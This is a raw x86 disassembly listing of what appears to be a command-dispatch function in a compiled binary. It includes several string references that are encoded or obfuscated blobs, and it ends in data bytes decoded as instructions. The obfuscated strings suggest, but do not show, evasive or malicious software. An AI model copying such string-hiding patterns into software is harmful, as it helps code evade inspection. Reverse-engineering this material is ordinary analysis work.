mov esi, eax
mov dword [edi], 0
push 0xa
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0054bd1e
add esp, 0xc
cmp esi, dword [ebp - 0x2c]
je 0x521cda
cmp dword [edi], 0x22
je 0x521ce4
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.004063d0
lea ecx, [ebp - 0xe4]
call fcn.00429e40
jmp 0x521b91
mov edx, 0x5b5958
lea ecx, [ebp - 0x60]
call fcn.00441540
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044c2b0
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429e40
lea ecx, [ebp - 0x60]
test esi, esi
je 0x52157d
call fcn.00429bf0
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521520
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.005220a0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], 0xffffffff
push eax
lea edx, [ebp - 0x44]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00448240
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x44]
call fcn.004069e0
lea ecx, [ebp - 0x60]
call fcn.00429e40
jmp 0x521b91
mov edx, 0x5b5940
call fcn.00441540
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044c2b0
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429e40
test esi, esi
je 0x5215af
call fcn.0044c240
jmp 0x521b91
mov edx, 0x5b59a0
lea ecx, [ebp - 0x60]
call fcn.00441540
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044c2b0
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429e40
lea ecx, [ebp - 0x60]
test esi, esi
je 0x5218de
call fcn.00429bf0
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5215f2
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041d070
lea ecx, [ebp - 0x40]
call fcn.0041d070
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.00448450
add esp, 4
lea ecx, [ebp - 0x40]
call fcn.0044c260
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52174b
push str.bnBtYnNhcg
lea ecx, [ebp - 0x24]
call fcn.0042bb00
push str.Y3BwbXA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042bb00
push str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042bb00
push 0x589e44
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x85
call fcn.0042bb00
push 0x589e44
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x86
call fcn.0042bb00
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042b230
lea ecx, [ebp - 0x68]
call fcn.004418d0
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042b230
lea ecx, [ebp - 0x84]
call fcn.004418d0
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042b230
lea ecx, [ebp - 0x2c]
call fcn.004418d0
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.004523c0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00406250
lea ecx, [ebp - 0x84]
call fcn.00406250
lea ecx, [ebp - 0x68]
call fcn.00406250
lea ecx, [ebp - 0x20]
call fcn.00406250
lea ecx, [ebp - 0x44]
call fcn.00406250
lea ecx, [ebp - 0x38]
call fcn.00406250
lea ecx, [ebp - 0x3c]
call fcn.00406250
lea ecx, [ebp - 0x24]
call fcn.00406250
lea ecx, [ebp - 0x38]
call fcn.0041d070
push str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042ab20
push str.bG1sYw
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042ab20
push str.Z2xxcl9qamNi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042ab20
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x5217c0
lea eax, [ebp - 0x100]
push eax
call fcn.0042a8a0
lea ecx, [ebp - 0x68]
call fcn.00441670
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x5217e3
lea eax, [ebp - 0xe4]
push eax
call fcn.0042a8a0
lea ecx, [ebp - 0x28]
call fcn.00441670
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042ab20
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x521815
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.00406250
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x521825
lea ecx, [ebp - 0x68]
call fcn.00406250
lea ecx, [ebp - 0x130]
call fcn.0042b160
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042a8a0
lea ecx, [ebp - 0x84]
call fcn.00441670
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041e770
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x84]
call fcn.00406250
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042b230
mov ecx, dword [ebp - 0x34]
call fcn.0051d590
lea ecx, [ebp - 0x130]
call fcn.0042b0f0
lea ecx, [ebp - 0x100]
call fcn.0042b0f0
lea ecx, [ebp - 0xe4]
call fcn.0042b0f0
lea ecx, [ebp - 0x9c]
call fcn.0042b0f0
lea ecx, [ebp - 0x38]
call fcn.00406250
lea ecx, [ebp - 0x40]
call fcn.00406250
lea ecx, [ebp - 0x1c]
call fcn.00406250
lea ecx, [ebp - 0x60]
call fcn.00429e40
jmp 0x521b91
mov edx, 0x5b5a78
call fcn.00441540
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044c2b0
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429e40
lea ecx, [ebp - 0x60]
test esi, esi
je 0x521999
call fcn.00429bf0
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521920
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
lea ecx, [ebp - 0x60]
push 0x589e44
call fcn.00428840
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x60]
call fcn.00448860
mov eax, dword [ebp - 0x48]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00412ba0
lea ecx, [ebp - 0x60]
call fcn.00429e40
jmp 0x521b91
mov edx, 0x5b59b8
call fcn.00441540
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044c2b0
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429e40
test esi, esi
je 0x521a4d
lea ecx, [ebp - 0x60]
call fcn.00429bf0
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5219e0
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.00522110
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042ab20
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.0052d780
lea ecx, [ebp - 0x130]
call fcn.0042b0f0
lea ecx, [ebp - 0x60]
call fcn.00429e40
jmp 0x521b91
push edi
lea ecx, [ebp - 0x40]
call fcn.0042abf0
push str.c2xpbG11bF1zZ11rY3FxX2Vj
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042bb00
push str.a3FlOyN1cQ
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x99
call fcn.0042bb00
lea ecx, [ebp - 0x1c]
call fcn.0041d070
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x40]
call fcn.0042ab20
lea ecx, [ebp - 0x68]
call fcn.0042c950
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.0042b230
lea ecx, [ebp - 0x28]
call fcn.004418d0
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e770
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.00406250
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x9b
call fcn.00406250
push 0x589e44
lea ecx, [ebp - 0x20]
call fcn.0042bb00
push 0x589e44
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x9e
call fcn.0042bb00
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042b230
lea ecx, [ebp - 0x68]
call fcn.004418d0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5b9d24
call fcn.0042a8a0
lea ecx, [ebp - 0x28]
call fcn.00441670
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.004523c0
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.00406250
lea ecx, [ebp - 0x68]
call fcn.00406250
lea ecx, [ebp - 0x24]
call fcn.00406250
lea ecx, [ebp - 0x20]
call fcn.00406250
lea ecx, [ebp - 0x1c]
call fcn.00406250
lea ecx, [ebp - 0x44]
call fcn.00406250
lea ecx, [ebp - 0x38]
call fcn.00406250
lea ecx, [ebp - 0x40]
call fcn.00406250
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
push str.invalid_stoi_argument
call fcn.0052e189
push str.stoi_argument_out_of_range
call fcn.0052e1c9
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
call fcn.0054a2ff
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
call fcn.0054a2ff
call fcn.0054a2ff
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push str.invalid_map_K__T__key
call fcn.0052e1c9
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push 0x80004005
call fcn.0042b9d0
push str.invalid_stoi_argument
call fcn.0052e189
push str.stoi_argument_out_of_range
call fcn.0052e1c9
nop
mov cs, word [0xd240052]
push edx
add byte [eax + 0x7a00520d], ah
or eax, 0xdbc0052
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3